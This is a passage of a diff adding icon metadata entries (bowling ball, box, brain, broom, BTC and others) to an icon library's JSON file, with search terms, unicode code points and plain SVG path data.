16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "bowling-ball": { + "changes": [ + "5.0.5", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "alley", + "candlepin", + "gutter", + "lane", + "strike", + "tenpin" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f436", + "label": "Bowling Ball", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635357, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "box": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "container", + "package", + "storage" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f466", + "label": "Box", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635360, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z" + } + }, + "free": [ + "solid" + ] + }, + "box-open": { + "changes": [ + "5.0.9", + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "archive", + "container", + "package", + "storage", + "unpack" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f49e", + "label": "Box Open", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635359, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z" + } + }, + "free": [ + "solid" + ] + }, + "box-tissue": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cough", + "covid-19", + "kleenex", + "mucus", + "nose", + "sneeze", + "snot" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e05b", + "label": "Tissue Box", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635359, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z" + } + }, + "free": [ + "solid" + ] + }, + "boxes": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "archives", + "inventory", + "storage", + "warehouse" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f468", + "label": "Boxes", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635361, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "braille": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "alphabet", + "blind", + "dots", + "raised", + "vision" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a1", + "label": "Braille", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635362, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "brain": { + "changes": [ + "5.2.0", + "5.9.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cerebellum", + "gray matter", + "intellect", + "medulla oblongata", + "mind", + "noodle", + "wit" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f5dc", + "label": "Brain", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635362, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z" + } + }, + "free": [ + "solid" + ] + }, + "bread-slice": { + "changes": [ + "5.7.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bake", + "bakery", + "baking", + "dough", + "flour", + "gluten", + "grain", + "sandwich", + "sourdough", + "toast", + "wheat", + "yeast" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ec", + "label": "Bread Slice", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635363, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z" + } + }, + "free": [ + "solid" + ] + }, + "briefcase": { + "changes": [ + "2", + "5.0.0", + "5.3.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bag", + "business", + "luggage", + "office", + "work" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0b1", + "label": "Briefcase", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635364, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z" + } + }, + "free": [ + "solid" + ] + }, + "briefcase-medical": { + "changes": [ + "5.0.7" + ], + "ligatures": [], + "search": { + "terms": [ + "doctor", + "emt", + "first aid", + "health" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f469", + "label": "Medical Briefcase", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635364, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z" + } + }, + "free": [ + "solid" + ] + }, + "broadcast-tower": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "airwaves", + "antenna", + "radio", + "reception", + "waves" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f519", + "label": "Broadcast Tower", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635365, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z" + } + }, + "free": [ + "solid" + ] + }, + "broom": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "clean", + "firebolt", + "fly", + "halloween", + "nimbus 2000", + "quidditch", + "sweep", + "witch" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f51a", + "label": "Broom", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635365, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z" + } + }, + "free": [ + "solid" + ] + }, + "brush": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "art", + "bristles", + "color", + "handle", + "paint" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f55d", + "label": "Brush", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635366, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M352 0H32C14.33 0 0 14.33 0 32v224h384V32c0-17.67-14.33-32-32-32zM0 320c0 35.35 28.66 64 64 64h64v64c0 35.35 28.66 64 64 64s64-28.65 64-64v-64h64c35.34 0 64-28.65 64-64v-32H0v32zm192 104c13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24s-24-10.75-24-24c0-13.26 10.75-24 24-24z" + } + }, + "free": [ + "solid" + ] + }, + "btc": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f15a", + "label": "BTC", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860970, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 251.776V279.821c32.772 0 133.127-9.138 133.127 53.255-.001 60.186-100.355 53.253-133.127 53.253z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 48.212v-96.74zm0 